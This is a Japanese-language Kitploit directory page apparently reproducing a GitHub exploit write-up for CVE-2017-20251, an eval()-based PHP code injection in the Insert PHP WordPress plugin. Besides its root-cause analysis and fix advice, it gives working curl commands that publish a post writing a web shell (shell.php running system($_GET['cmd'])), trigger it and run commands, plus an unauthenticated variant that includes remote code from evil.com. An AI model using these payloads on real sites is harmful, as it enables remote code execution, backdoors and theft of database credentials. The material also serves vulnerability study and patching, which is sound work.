Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
By-Poloss..-..CVE-2017-20251 — 挿入PHPプラグイン PHPコードインジェクション | Kitploit
ツール/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubpolosss/by-poloss..-..cve-2017-20251

By-Poloss..-..CVE-2017-20251

挿入PHPプラグイン PHPコードインジェクション

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2017-20251: Insert PHP プラグインの PHP コードインジェクション

脆弱性タイトル

Insert PHP プラグインのショートコード処理における未認証の PHP コードインジェクション

基本情報

フィールド値
CVE IDCVE-2017-20251
プラグインInsert PHP (現在は Woody Code Snippets)
影響を受けるバージョン< 3.3.1 (1.3 でテスト済み)
CWECWE-94 (コードインジェクション)
CVSS v3.19.8 (クリティカル)
CVSS ベクターAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
公開情報公開 (Exploit-DB 41308)

説明

バージョン 3.3.1 より前の Insert PHP プラグインは、ショートコードインジェクションの脆弱性により、リモートの攻撃者が任意の PHP コードを実行することを可能にします。このプラグインは [insert_php]...[/insert_php] ショートコードを登録しており、サニタイズや検証なしに PHP の eval() 関数を使用してショートコードタグ内のコンテンツを直接評価します。

投稿を作成または編集できる攻撃者 (REST API、XML-RPC、または寄稿者/管理者権限による) は、コンテンツをレンダリングする任意のページや投稿に任意の PHP コードを注入でき、Web サーバー上で完全なリモートコード実行 (RCE) を達成できます。

技術的分析

根本原因

この脆弱性は、the_content フィルターとして登録されている will_bontrager_insert_php() 関数に存在します:

root@kitploit:~
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- VULNERABLE
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

主な問題点:

  1. ショートコードのコンテンツがサニタイズなしで直接 eval() に渡される
  2. 認証や権限チェックが実行されない
  3. コンテンツが正規のスニペット投稿からのものであるかの検証がない
  4. フィルターが優先度 9 で実行され、他の WordPress フィルターより先にコンテンツを処理する

攻撃ベクトル

  1. 初期アクセス: 攻撃者が [insert_php] ショートコードを含む悪意のあるコンテンツの投稿を作成または編集する
  2. 配信: ショートコードが投稿コンテンツとして WordPress データベースに保存される
  3. 実行: ユーザーがページを閲覧すると、WordPress が the_content フィルターを実行する
  4. 影響: eval() がサーバー上で任意の PHP コードを実行する

悪用の条件

  • Insert PHP プラグインのバージョン < 3.3.1 がインストールされ、有効化されている WordPress サイト
  • 攻撃者が投稿を作成または編集できる権限を持っていること (寄稿者ロール以上)
  • WordPress < 4.7 では、REST API が未認証の投稿作成を許可していた (完全な未認証 RCE が可能)
  • WordPress >= 4.7 では、REST API での投稿作成に認証が必要

影響

深刻度: クリティカル

Web サーバー上での完全なリモートコード実行 (RCE):

  • サーバー上で任意の PHP コードを実行
  • Web サーバーユーザーがアクセス可能な任意のファイルを読み書き
  • wp-config.php からデータベース認証情報を取得
  • Web シェルやバックドアをインストール
  • 他のシステムへの横展開
  • 機密性、完全性、可用性の完全な侵害

PoC - Curl コマンド

ステップ 1: 悪意のあるショートコードを含む投稿を作成する (認証済み)

root@kitploit:~
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

ステップ 2: 投稿にアクセスしてコード実行をトリガーする

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

ステップ 3: コード実行を検証する

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

代替: 直接 eval() テスト (簡単な証明)

root@kitploit:~
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# Verify
cat /var/www/html/rce_poc.txt  # Should output: RCE-SUCCESS

Exploit-DB リファレンス (未認証、WP < 4.7)

REST API が未認証の投稿作成を許可していた古い WordPress バージョン向け:

root@kitploit:~
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

レスポンス例

脆弱なショートコードが処理されると、内部の PHP コードが eval() によって実行されます。マーカーファイルテストの場合:

root@kitploit:~
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully

Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server

Verification:
$ cat /var/www/html/marker.txt
SUCCESS

推奨される修正策

  1. 即時対応: Insert PHP プラグインをアンインストールするか、バージョン 3.3.1 以降にアップグレードする
  2. 代替プラグイン: 安全な実行コンテキストを使用する WPCode などの最新のコードスニペットプラグインを使用する
  3. PHP スニペットをどうしても使用する場合: 信頼できる管理者のみが投稿を作成/編集できるようにし、管理者以外の REST API を無効化することを検討する
  4. 堅牢化: DISALLOW_UNFILTERED_HTML 定数を設定する (ただし、この問題を完全には軽減できない)

パッチ分析

パッチ適用済みバージョン (3.3.1+):

  • ショートコードを [insert_php] から [wbcr_php_snippet] に変更
  • 直接の eval() 使用を廃止し、安全な実行コンテキストを採用
  • REST API エンドポイントに認証チェックを追加
  • 実行前にスニペット ID の検証を実装

参考リンク

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • WordPress プラグインページ
  • CWE-94: コードインジェクション
ツールをダウンロード